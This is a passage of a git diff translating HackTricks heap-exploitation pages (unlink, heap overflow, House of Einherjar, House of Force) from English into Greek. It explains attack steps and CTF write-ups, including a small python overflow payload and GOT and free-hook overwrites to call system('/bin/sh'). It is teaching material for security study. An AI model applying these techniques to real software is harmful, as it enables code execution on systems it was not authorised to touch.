διαδικασίας unlink:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### Έλεγχοι Ασφαλείας -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- Ελέγξτε αν το υποδεικνυόμενο μέγεθος του chunk είναι το ίδιο με το prev_size που υποδεικνύεται στο επόμενο chunk +- Ελέγξτε επίσης ότι `P->fd->bk == P` και `P->bk->fw == P` +- Αν το chunk δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P` -### Leaks +### Διαρροές -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +Ένα unlinked chunk δεν καθαρίζει τις κατανεμημένες διευθύνσεις, οπότε έχοντας πρόσβαση για να το διαβάσετε, είναι δυνατόν να διαρρεύσουν κάποιες ενδιαφέρουσες διευθύνσεις: -Libc Leaks: +Libc Διαρροές: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει στο `malloc_state` στη libc +- Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει στο `malloc_state` στη libc +- Όταν η διπλά συνδεδεμένη λίστα περιέχει μόνο ένα ελεύθερο chunk, το P είναι στη διπλά συνδεδεμένη λίστα, και τόσο το `fd` όσο και το `bk` μπορούν να διαρρεύσουν τη διεύθυνση μέσα στο `malloc_state`. -Heap leaks: +Διαρροές Heap: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει σε ένα διαθέσιμο chunk στο heap +- Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει σε ένα διαθέσιμο chunk στο heap +- Αν το P είναι στη διπλά συνδεδεμένη λίστα, τόσο το `fd` όσο και το `bk` θα δείχνουν σε ένα διαθέσιμο chunk στο heap {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..cdf3dd905 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,47 +4,45 @@ ## Basic Information -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +Ένα heap overflow είναι όπως ένα [**stack overflow**](../stack-overflow/) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος είχε κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία που να αποθηκεύεται από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό. > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> Για να βρείτε τα offsets υπερχείλισης μπορείτε να χρησιμοποιήσετε τα ίδια μοτίβα όπως στα [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). ### Stack Overflows vs Heap Overflows -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +Στα stack overflows η διάταξη και τα δεδομένα που θα είναι παρόντα στο stack τη στιγμή που μπορεί να ενεργοποιηθεί η ευπάθεια είναι αρκετά αξιόπιστα. Αυτό συμβαίνει επειδή το stack είναι γραμμικό, πάντα αυξανόμενο σε συγκρουόμενη μνήμη, σε **συγκεκριμένες θέσεις της εκτέλεσης του προγράμματος η μνήμη του stack συνήθως αποθηκεύει παρόμοια είδη δεδομένων** και έχει κάποια συγκεκριμένη δομή με μερικούς δείκτες στο τέλος του τμήματος του stack που χρησιμοποιείται από κάθε συνάρτηση. -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +Ωστόσο, στην περίπτωση ενός heap overflow, η χρησιμοποιούμενη μνήμη δεν είναι γραμμική αλλά **οι κατανεμημένοι χώροι είναι συνήθως σε ξεχωριστές θέσεις μνήμης** (όχι ο ένας δίπλα στον άλλο) λόγω των **bins και zones** που διαχωρίζουν τις κατανομές κατά μέγεθος και επειδή **η προηγούμενη ελεύθερη μνήμη χρησιμοποιείται** πριν από την κατανομή νέων chunks. Είναι **περίπλοκο να γνωρίζουμε το αντικείμενο που θα συγκρούεται με αυτό που είναι ευάλωτο** σε heap overflow. Έτσι, όταν βρεθεί ένα heap overflow, είναι απαραίτητο να βρεθεί ένας **αξιόπιστος τρόπος για να γίνει το επιθυμητό αντικείμενο να είναι το επόμενο στη μνήμη** από αυτό που μπορεί να υπερχειλιστεί. -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +Μία από τις τεχνικές που χρησιμοποιούνται για αυτό είναι το **Heap Grooming** που χρησιμοποιείται για παράδειγμα [**σε αυτή την ανάρτηση**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Στην ανάρτηση εξηγείται πώς όταν στο iOS kernel μια ζώνη εξαντλείται από μνήμη για να αποθηκεύσει chunks μνήμης, επεκτείνεται κατά μία σελίδα kernel, και αυτή η σελίδα χωρίζεται σε chunks των αναμενόμενων μεγεθών που θα χρησιμοποιηθούν με σειρά (μέχρι την έκδοση iOS 9.2, τότε αυτά τα chunks χρησιμοποιούνται με τυχαίο τρόπο για να δυσκολέψουν την εκμετάλλευση αυτών των επιθέσεων). -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +Επομένως, στην προηγούμενη ανάρτηση όπου συμβαίνει ένα heap overflow, προκειμένου να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρούεται με μια παραγγελία θύματος, αρκετές **`kallocs` αναγκάζονται από αρκετά νήματα για να προσπαθήσουν να διασφαλίσουν ότι όλα τα ελεύθερα chunks είναι γεμάτα και ότι δημιουργείται μια νέα σελίδα**. -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +Για να αναγκαστεί αυτή η πλήρωση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός γραμμής κατανομή που σχετίζεται με ένα iOS mach port** είναι ένας ιδανικός υποψήφιος. Με την κατασκευή του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της κατανομής `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη κατανομή θα απελευθερωθεί αμέσως πίσω στο `kfree`. -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορούν να **απελευθερωθούν**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι απελευθερωθούν και η εκμετάλλευση προσπαθήσει να κατανεμήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανεμήσει το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό αυτό το αντικείμενο να ακολουθείται από ένα αντικείμενο θύμα. ### Example libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανεμηθεί ξανά** έχοντας τη δυνατότητα να αντικαταστήσει δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης. -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +Ένα άλλο παράδειγμα από [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) δείχνει ένα πολύ βασικό παράδειγμα ενός CTF όπου ένα **heap overflow** μπορεί να εκμεταλλευτεί για να καλέσει τη συνάρτηση νικητή για να **λάβει τη σημαία**. -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς εκμεταλλευόμενοι μια υπερχείλιση buffer είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν. ### Example ARM64 -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: - +Στη σελίδα [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) μπορείτε να βρείτε ένα παράδειγμα heap overflow όπου μια εντολή που πρόκειται να εκτελεστεί αποθηκεύεται στο επόμενο chunk από το υπερχειλισμένο chunk. Έτσι, είναι δυνατό να τροποποιηθεί η εκτελούμενη εντολή αντικαθιστώντας την με μια εύκολη εκμετάλλευση όπως: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### Άλλα παραδείγματα - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- Χρησιμοποιούμε μια ευπάθεια Integer Overflow για να αποκτήσουμε Heap Overflow. +- Διαφθείρουμε δείκτες σε μια συνάρτηση μέσα σε ένα `struct` του υπερχειλισμένου κομματιού για να ορίσουμε μια συνάρτηση όπως το `system` και να αποκτήσουμε εκτέλεση κώδικα. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..5a2b504c4 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -6,44 +6,44 @@ ### Code -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- Δείτε το παράδειγμα από [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) +- Ή το από [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (μπορεί να χρειαστεί να συμπληρώσετε το tcache) ### Goal -- The goal is to allocate memory in almost any specific address. +- Ο στόχος είναι να δεσμεύσετε μνήμη σε σχεδόν οποιαδήποτε συγκεκριμένη διεύθυνση. ### Requirements -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- Δημιουργήστε ένα ψεύτικο chunk όταν θέλουμε να δεσμεύσουμε ένα chunk: +- Ρυθμίστε δείκτες να δείχνουν στον εαυτό τους για να παρακάμψετε τους ελέγχους εγκυρότητας +- Μία-byte overflow με ένα null byte από ένα chunk στο επόμενο για να τροποποιήσετε τη σημαία `PREV_INUSE`. +- Υποδείξτε στο `prev_size` του chunk που έχει κακοποιηθεί με null τη διαφορά μεταξύ του εαυτού του και του ψεύτικου chunk +- Το μέγεθος του ψεύτικου chunk πρέπει επίσης να έχει ρυθμιστεί στο ίδιο μέγεθος για να παρακάμψει τους ελέγχους εγκυρότητας +- Για την κατασκευή αυτών των chunks, θα χρειαστείτε ένα heap leak. ### Attack -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- Δημιουργείται ένα ψεύτικο chunk μέσα σε ένα chunk που ελέγχεται από τον επιτιθέμενο δείχνοντας με `fd` και `bk` στο αρχικό chunk για να παρακάμψει τις προστασίες +- 2 άλλα chunks (`B` και `C`) δεσμεύονται +- Κακοποιώντας το off by one στο `B`, το bit `prev in use` καθαρίζεται και τα δεδομένα `prev_size` αντικαθίστανται με τη διαφορά μεταξύ της θέσης όπου δεσμεύεται το chunk `C`, στο ψεύτικο chunk `A` που δημιουργήθηκε προηγουμένως +- Αυτό το `prev_size` και το μέγεθος στο ψεύτικο chunk `A` πρέπει να είναι τα ίδια για να παρακάμψουν τους ελέγχους. +- Στη συνέχεια, γεμίζεται το tcache +- Στη συνέχεια, το `C` απελευθερώνεται ώστε να ενοποιηθεί με το ψεύτικο chunk `A` +- Στη συνέχεια, δημιουργείται ένα νέο chunk `D` το οποίο θα ξεκινά στο ψεύτικο chunk `A` και θα καλύπτει το chunk `B` +- Το house of Einherjar τελειώνει εδώ +- Αυτό μπορεί να συνεχιστεί με μια γρήγορη επίθεση bin ή Tcache poisoning: +- Απελευθερώστε το `B` για να το προσθέσετε στο γρήγορο bin / Tcache +- Το `fd` του `B` αντικαθίσταται κάνοντάς το να δείχνει στη στοχευμένη διεύθυνση κακοποιώντας το chunk `D` (καθώς περιέχει το `B`) +- Στη συνέχεια, γίνονται 2 mallocs και το δεύτερο θα είναι **δεσμεύοντας τη στοχευμένη διεύθυνση** ## References and other examples - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- Μετά την απελευθέρωση των δεικτών τους δεν μηδενίζονται, οπότε είναι ακόμα δυνατή η πρόσβαση στα δεδομένα τους. Επομένως, ένα chunk τοποθετείται στο unsorted bin και διαρρέει τους δείκτες που περιέχει (libc leak) και στη συνέχεια μια νέα heap τοποθετείται στο unsorted bin και διαρρέει μια διεύθυνση heap από τον δείκτη που αποκτά. - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- Null-byte overflow bug στο `strtok`. +- Χρησιμοποιήστε το House of Einherjar για να αποκτήσετε μια κατάσταση επικαλυπτόμενων chunks και να τελειώσετε με Tcache poisoning για να αποκτήσετε μια αυθαίρετη γραφή primitive. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..3cdd8d76a 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -6,41 +6,39 @@ ### Code -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- Αυτή η τεχνική έχει διορθωθεί ([**εδώ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) και παράγει αυτό το σφάλμα: `malloc(): corrupted top size` +- Μπορείτε να δοκιμάσετε τον [**κώδικα από εδώ**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) για να το δοκιμάσετε αν θέλετε. ### Goal -- The goal of this attack is to be able to allocate a chunk in a specific address. +- Ο στόχος αυτής της επίθεσης είναι να μπορέσετε να εκχωρήσετε ένα κομμάτι σε μια συγκεκριμένη διεύθυνση. ### Requirements -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- Μια υπερχείλιση που επιτρέπει την επαναγραφή του μεγέθους του κεφαλίδας του κορυφαίου κομματιού (π.χ. -1). +- Να μπορείτε να ελέγξετε το μέγεθος της εκχώρησης σωρού ### Attack -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +Αν ένας επιτιθέμενος θέλει να εκχωρήσει ένα κομμάτι στη διεύθυνση P για να επαναγράψει μια τιμή εδώ. Ξεκινάει επαναγράφοντας το μέγεθος του κορυφαίου κομματιού με `-1` (ίσως με μια υπερχείλιση). Αυτό διασφαλίζει ότι το malloc δεν θα χρησιμοποιεί mmap για καμία εκχώρηση καθώς το κορυφαίο κομμάτι θα έχει πάντα αρκετό χώρο. +Στη συνέχεια, υπολογίστε την απόσταση μεταξύ της διεύθυνσης του κορυφαίου κομματιού και του στοχευμένου χώρου για εκχώρηση. Αυτό συμβαίνει επειδή μια malloc με αυτό το μέγεθος θα εκτελείται προκειμένου να μετακινήσει το κορυφαίο κομμάτι σε αυτή τη θέση. Έτσι υπολογίζεται εύκολα η διαφορά/μέγεθος: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +Επομένως, η κατανομή ενός μεγέθους `target - old_top - 4*sizeof(long)` (οι 4 longs είναι λόγω των μεταδεδομένων του κορυφαίου κομματιού και του νέου κομματιού όταν κατανεμηθεί) θα μετακινήσει το κορυφαίο κομμάτι στη διεύθυνση που θέλουμε να αντικαταστήσουμε.\ +Στη συνέχεια, κάντε άλλη μια malloc για να αποκτήσετε ένα κομμάτι στη διεύθυνση στόχο. -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### Αναφορές & Άλλα Παραδείγματα - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- Ο στόχος αυτού του σεναρίου είναι ένα ret2win όπου πρέπει να τροποποιήσουμε τη διεύθυνση μιας συνάρτησης που θα κληθεί από τη διεύθυνση της συνάρτησης ret2win +- Το δυαδικό έχει μια υπερχείλιση που μπορεί να εκμεταλλευτεί για να τροποποιήσει το μέγεθος του κορυφαίου κομματιού, το οποίο τροποποιείται σε -1 ή p64(0xffffffffffffffff) +- Στη συνέχεια, υπολογίζεται η διεύθυνση στο σημείο όπου υπάρχει ο δείκτης προς αντικατάσταση, και η διαφορά από τη τρέχουσα θέση του κορυφαίου κομματιού εκεί είναι κατανεμημένη με `malloc` +- Τέλος, ένα νέο κομμάτι κατανεμήθηκε το οποίο θα περιέχει αυτόν τον επιθυμητό στόχο μέσα στον οποίο αντικαθίσταται από τη συνάρτηση ret2win - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- Στο `Input your name:` υπάρχει μια αρχική ευπάθεια που επιτρέπει την αποκάλυψη μιας διεύθυνσης από τη heap +- Στη συνέχεια, στη λειτουργία `Org:` και `Host:` είναι δυνατόν να συμπληρωθούν τα 64B του δείκτη `s` όταν ζητηθεί το **org name**, το οποίο στη στοίβα ακολουθείται από τη διεύθυνση του v2, η οποία ακολουθείται στη συνέχεια από το υποδεικνυόμενο **host name**. Καθώς τότε, η strcpy θα αντιγράφει τα περιεχόμενα του s σε ένα κομμάτι μεγέθους 64B, είναι δυνατόν να **αντικατασταθεί το μέγεθος του κορυφαίου κομματιού** με τα δεδομένα που τοποθετήθηκαν μέσα στο **host name**. +- Τώρα που είναι δυνατή η αυθαίρετη εγγραφή, το GOT του `atoi` αντικαταστάθηκε με τη διεύθυνση του printf. ήταν δυνατό να αποκαλυφθεί η διεύθυνση του `IO_2_1_stderr` _με_ `%24$p`. Και με αυτήν την αποκάλυψη libc ήταν δυνατό να αντικατασταθεί ξανά το GOT του `atoi` με τη διεύθυνση του `system` και να κληθεί περνώντας ως παράμετρο `/bin/sh` +- Μια εναλλακτική μέθοδος [προτάθηκε σε αυτήν την άλλη αναφορά](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), είναι να αντικατασταθεί το `free` με το `puts`, και στη συνέχεια να προστεθεί η διεύθυνση του `atoi@got`, στον δείκτη που θα απελευθερωθεί αργότερα ώστε να αποκαλυφθεί και με αυτήν την αποκάλυψη να αντικατασταθεί ξανά το `atoi@got` με το `system` και να κληθεί με `/bin/sh`. - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- Υπάρχει μια UAF που επιτρέπει την επαναχρησιμοποίηση ενός κομματιού που έχει απελευθερωθεί χωρίς να καθαριστεί ο δείκτης. Επειδή υπάρχουν ορισμένες μέθοδοι ανάγνωσης, είναι δυνατόν να αποκαλυφθεί μια διεύθυνση libc γράφοντας έναν δείκτη στη συνάρτηση free στο GOT εδώ και στη συνέχεια καλώντας τη συνάρτηση ανάγνωσης. +- Στη συνέχεια, χρησιμοποιήθηκε το House of force (εκμεταλλευόμενο την UAF) για να αντικατασταθεί το μέγεθος του αριστερού χώρου με -1, να κατανεμηθεί ένα κομμάτι αρκετά μεγάλο για να φτάσει στο free hook, και στη συνέχεια να κατανεμηθεί ένα άλλο κομμάτι το οποίο θα περιέχει το free hook. Στη συνέχεια, γράψτε στο hook τη διεύθυνση του `system`, γράψτε σε ένα κομμάτι `"/bin/sh"` και 